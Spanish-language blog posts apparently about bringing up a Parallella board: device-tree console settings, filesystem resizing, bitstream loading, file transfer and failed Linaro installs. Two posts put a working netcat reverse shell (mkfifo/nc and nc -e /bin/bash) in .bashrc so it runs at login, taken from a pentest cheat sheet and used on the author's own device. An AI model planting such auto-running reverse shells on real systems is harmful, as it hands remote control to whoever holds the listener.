start on stopped rc RUNLEVEL=[12345]
stop on runlevel [!12345]

respawn
exec /sbin/getty -L 115200 ttyS0 vt102

pero no, no era este el segundo camino, no funciona ni cambiando todas las ttyS0 por ttyPS0.

Device Tree

En [6] explica como modificar las opciones de arranque del kernel:

Uncompile the binary Linux device tree:

sudo apt install device-tree-compiler
cp /media/<username>/boot/devicetree.dtb
dtc -I dtb -O dts -o devicetree.dts devicetree.dtb


Open the devicetree.dts file and add console statement to bootargs:

       chosen {
          bootargs = "console=ttyPS0,115200 root=/dev/mmcblk0p2 rw earlyprintk rootfstype=ext4 rootwait";
          linux,stdout-path = "/amba@0/serial@e0001000";
       };


Compile device tree:

dtc -I dts -O dtb -o devicetree.dtb devicetree.dts
sudo cp devicetre.dtb  /media/<username>/boot
sync

y funciona.

Expandiendo el filesystem

Me agarra un terrible vértigo seguir los pasos de [9], que parece decir que lo hacés en la misma máquina. Por las dudas me llevé la sd a otra e hice el proceso offline.


sudo umount /dev/sdb1
sudo umount /dev/sdb2
sudo fdisk /dev/sdb
d
n
w

Un paso extra:

sudo e2fsck -f /dev/sdb2

sudo resize2fs /dev/sdb2


Y así quedó:

Usando /dev/xdevcfg

Como ya he mencionado en [10], el bistream se puede cargar de dos maneras, copiándolo a la partición de boot o volcándolo a /dev/xdevcfg.

Hay dos tiempos involucrados:

Uno es el tiempo de construcción de bitstream. Suponiendo que ya está el código listo, hacer ./run ... ./build.sh lleva 10 minutos.

Luego hay que montar la SD, copiar el bitstream, desmontar la SD, ponerla en la parallella, iniciarla... 5 minutos más, si no consideramos que por alguna falla aún no diagnosticada (probablemente la fuente), a veces tengo que reiniciarla durante varios minutos hasta que arranca correctamente.

El primer tiempo es inevitable, pero con la disciplina de versionar cada bitstream se ahorra el tiempo si hay que volver atras.

El segundo se puede reducir considerablemente si los bitstreams se van copiando de algún modo a la partición root y de ahí a /dev/xdevcfg:

cat /home/parallella/bistreams/parallella.bit.bin.v3 > /dev/xdevcfg


Acá podemos ver en acción el mismo programa que pone 2 y 3 en las posiciones apropiadas de memoria y obtiene 5 o 6 de otra, según esté el bitstream sumador o el multiplicador:

Transferencias de archivos

Hay tres escenarios:

La red está ok

Usas scp.

runlevel 1

En las pruebas que he hecho, aunque funciona la red no he podido activar sshd. Tengo una tara disciplinaria de seguridad que me impide poner en mi máquina principal un servidor de ssh, pues eso implicaría ingresar mis credenciales desde máquinas en las que no confío. Podría crear un usuario sólo para las transferencias de archivos, pero eso es muy fácil, asi que olvidemos la red...

serial x/y/zmodem

...salvo para instalar lrzsz_0.12.21-7_armhf.deb o equivalente.

Si la red anda,

apt-get install lrzsz

baja ese package y lo instala. Si la red no anda, hay que conseguirlo de algún modo, ponerlo offline en la SD e instalarlo.

El programa de termial moserial entiende xmodem, ymodem y zmodem.

En la terminal ejecutamos

rz

y en el menú "send file" y listo. Por disciplina, le corremos md5sum en ambos lados a ver si coincide.



Cuando ejecutamos rz dice rz waiting to receive.**B0100000023be50
 

Cuando hacemos "send file" elegimos el archivo y muestra el progreso:

 

Finalmente, vemos como coinciden los hashes:

Tarda horrores, pero no requiere intervención así que es mejor que offline.

offline

Por último, cada vez que querés copiar un archivo, apagás la parallella, sacás la SD, la ponés en otra máquina, le copiás lo que querés y así. Obviamente no es el método ideal, pero puede hacer falta al comienzo.

netcat

Ok, no nos olvidemos de la red, pues el serial tarda mucho. Si estamos sin ssh por algún motivo pero sin embargo la red funciona, nos queda netcat.

En la máquina:


netcat 192.168.1.106 1234 < github/oh/src/accelerator/fpga/parallella.bit.bin 


En la parallella:

Archivos cortos

A veces hay archivos cortos que desearíamos editar con vi/pico/lo que quieras, pero por serial no no, no anda.

Lo preparás en la computadora principal y haces algo parecido a lo que hace zmodem, lo transmitís por la conexión serial asi:

• Copiás en el portapapeles el contenido del archivo
• Ingresás en la terminal

cat << EOF > archivo.destino

• Pegás el portapapeles en la terminal.
• Escribís

EOF

• y enter y listo.

Si hubiera alguna linea igual a EOF en el archivo, tendrías que usar otro señalador de fin de archivo.

Combinando con base64 podés transmitir binarios tambien.




[1] http://seguridad-agile.blogspot.com/2018/05/forzando-brutalmente-md5-presentacion.html

[2] https://www.parallella.org

[3] links relativos a NFS

https://www.digitalocean.com/community/tutorials/how-to-set-up-an-nfs-mount-on-ubuntu-14-04

https://www.linuxquestions.org/questions/linux-networking-3/nfs-client-mount-nfs-mount-2-no-such-device-4175610087/

https://parallella.org/forums/viewtopic.php?f=9&t=902

[4] http://www.parallella.org/forums/viewtopic.php?t=1211&p=7552

[5] no publicado aun, se va a llamar Parallella: FPGA


[6] https://seguridad-agile.blogspot.com/p/remover-exif-xxx-while-read-image-echo.html -> Mount partitions inside disk image

[7] https://help.ubuntu.com/community/SerialConsoleHowto

[8] https://parallella.org/forums/viewtopic.php?f=49&t=3289

[9] http://suzannejmatthews.github.io/2015/05/29/setting-up-your-parallella/

Parallella paradumbs: Linaro fail 3

En [1] y [2] ya evidencié el fracaso de instalar Linaro [3] en mi parallella[4], voy por un intento más, de paso dejo un poco más prolijo lo que venía haciendo.


Voy a respetar todos los pasos salvo las correcciones ya aplicadas, claro.

• 1.1 Requirements -> ok
• 1.2 Download the files

En lugar de bajar el kernel y el bitstream, usaré lo que hay en la partición de boot de parabuntu.

En lugar de linaro-saucy-nano-20140410-652.tar.gz, usaré 

http://releases.linaro.org/archive/15.06/ubuntu/vivid-images/nano/linaro-vivid-nano-20150618-705.tar.gz

¿Con qué criterio? Es lo último. Me imagino que es el menos probable que funcione, pero igual ya tengo el parabuntu. 

Supongo que tendría que ser algo que esté en:

http://ports.ubuntu.com/ubuntu-ports/ubuntu-ports/ubuntu-ports/dists/

• 1.3 Determine the device name of the SD Card -> ok
• 1.4 Partition the SD Card -> ok
• 1.5 Extract rootfs

Primero reset de la partición:


$ sudo mkfs.ext4 -L rootfs /dev/sdb2

Montar

$ sudo mount /dev/sdb2 /mnt

Grabar

$ sudo tar --strip-components=1 -C /mnt linaro-vivid-nano-20150618-705.tar.gz

Limpieza

$ sudo umount /mnt

 

• 1.6 Extract BOOT partition

Copiar los archivos de la partición de BOOT de la imagen de parabuntu a la partición de BOOT de la SD de Linaro.

Obtener información del particionamiento de la imagen

$ fdisk -lu parabuntu-2016.11.1-hdmi-z7010.img

Disk parabuntu-2016.11.1-hdmi-z7010.img: 3,5 GiB, 3774873600 bytes, 7372800 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xe9fdb5c0

Device                              Boot  Start     End Sectors  Size Id Type
parabuntu-2016.11.1-hdmi-z7010.img1 *      2048  206847  204800  100M  b W95 FAT32
parabuntu-2016.11.1-hdmi-z7010.img2      206848 7372799 7165952  3,4G 83 Linux




Cuentas (sector size * start) para obtener el offset de la partición:

512 * 2048   =   1048576 -> boot partition offset
512 * 206848 = 105906176 -> root partition offset

Montar la imagen:

$ sudo losetup -o 1048576 /dev/loop0 parabuntu-2016.11.1-hdmi-z7010.img

Montar la partición de origen:

$ sudo mount /dev/loop0 /mnt -o ro

Montar la partición de destino:

$ sudo mount -o umask=000 -t vfat /dev/sdb1 /mnt2

Copiar:

$ sudo cp /mnt/* /mnt2


Limpiar el desastre:

$ sudo sync
$ sudo umount /mnt /mnt2
$ sudo losetup -d /dev/loop0

Viéndolo con otros ojos, pude haber hecho dd, pero bueno, ya está así.

• 1.7 Edit some configuration files
  
  • 1.7.1 Preventing to install unnecessary packages  -> ok
  • 1.7.2 Network configuration -> ok
  • 1.7.3 Install openssh-server 
   

Y acá viene el payload que habíamos hecho antes, pero reducido al ping para saber que anda la red y el nc para tomar el control:

[/root/.bashrc]
ping -c 3 192.168.1.102
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.102 4444 >/tmp/f

En mi máquina, para monitorear:

$ sudo tcpdump -i eth0 icmp

Para el shell reverso:

$ nc -lvp 4444



Anduvo todo ok, salvo que ni siquiera lo conoce:

Package openssh-server is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source.

Hasta que logre aprender como es el mundo de los repositorios, Linaro no va.





[1] http://seguridad-agile.blogspot.com/2018/08/parallella-paradumbs-linaro.html


[2] http://seguridad-agile.blogspot.com/2018/08/parallella-paradumbs-linaro-fail-2.html

[3] https://elinux.org/Parallella_Linaro_Nano

[4] https://www.parallella.org

Parallella paradumbs: Linaro fail 2

Había dicho en [1]:

 Y podría llegar hasta "Install openssh-server" pero como no tengo como usarla con teclado y mouse, dead end.

Pero pensé, ¿si dejara openssh-server instalado?

¿Si pudiera arrancar desde otra ARM, hacer chroot y ahí instalar?

¿Si pudiera pedirle a otro programa que arranque automáticamente que instale openssh-server?

Ya veré que hacer, pero tengo que dejar todo listo, vamos:

Lo de la descarga de Linaro, ya lo traté antes. Lo del kernel, el bitstream y el device tree, que supongo viene con el kernel, lo voy a tomar de la partición de boot de parabuntu.



No tenemos sorpresas con "1.4 Partition the SD Card" ni "1.5 Extract rootfs".


Para "1.6 Extract BOOT partition", montamos la imagen de parabuntu (según "Cómo obtener los archivos de la imagen" de [1] tambien) y copiamos.

sudo losetup -o 1048576 /dev/loop0 parabuntu-2016.11.1-hdmi-z7010.img
sudo mount /dev/loop0 /mnt -o ro

sudo mount -o umask=000 -t vfat /dev/sdb1 /mnt2

sudo cp /mnt/* /mnt2
sudo sync
sudo umount /mnt /mnt2 
sudo losetup -d /dev/loop0




No me gusta hacer reset, pero me come la impaciencia de saber si hasta acá anda, tendría que aparecer el login... y apareció, ok.

Quise sacarle una foto para mostrar pero ya había apagado. Volví a prender y no arrancó. Seguramente quedo el FS mal por el reset:

sudo umount /dev/sdb1
sudo fsck.vfat /dev/sdb1
sudo sync

Es una suerte que haya hecho la prueba, si no luego podía fallar el paso siguiente y me hubiese complicado el diagnóstico.

Queda igual 1.7.1 Preventing to install unnecessary packages y 1.7.2 Network configuration salvo que en el último quité   mii-tool -F 1000baseT-FD



Esta vez tardó mucho en activarse la consola, aunque la interfaz estuvo alta casi inmediatamente. Primero pensé que fue debió haber sido por que me olvidé de resolv.conf, pero no fue por eso. Quizás fue por no desactivar la autonegociación de mii




Lo que quería ejecutar en el inicio del usuario linaro es:

apt-get --yes update
apt-get --yes install openssh-server

Le puse antes un

ping -c 3 192.168.1.2

para ver si se ejecutaba esa sección, todo esto en .bashrc, antes de:

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

Y ok, tengo una especie de payload, que falla por apt-get. Necesito interacción:

En mi máquina

nc -lvp 4444

en la parallella

nc 192.168.1.2 4444 -e /bin/bash

Pero nc de linaro no soporta -e, asi que vamos por [2]


ping -c 3 192.168.1.2
ifconfig
whoami
#nc 192.168.1.2 4444 -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.102 4444 >/tmp/f

Anduvo ok, tuve mi shell reverso, con

sudo tcpdump "ether[6:2] == 0x044f and ether[8:1] == 0x8b"
sudo tcpdump -i eth0 icmp

pude ver todo y lo que está ocurriendo es que está mal el enrutamiento.

Pero, siempre hay un pero, está todo muy desactualizado, no puedo instalar openssh-server con sencillez. El escenario es parecido a lo que me pasó con parabuntu, el cual lamentablemente no registré, con la diferencia de que parabuntu es mucho más completo, lo que tuve que instalar fué mínimo.

Me rindo otra vez... por ahora.





[1] http://seguridad-agile.blogspot.com/2018/08/parallella-paradumbs-linaro.html

[2] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet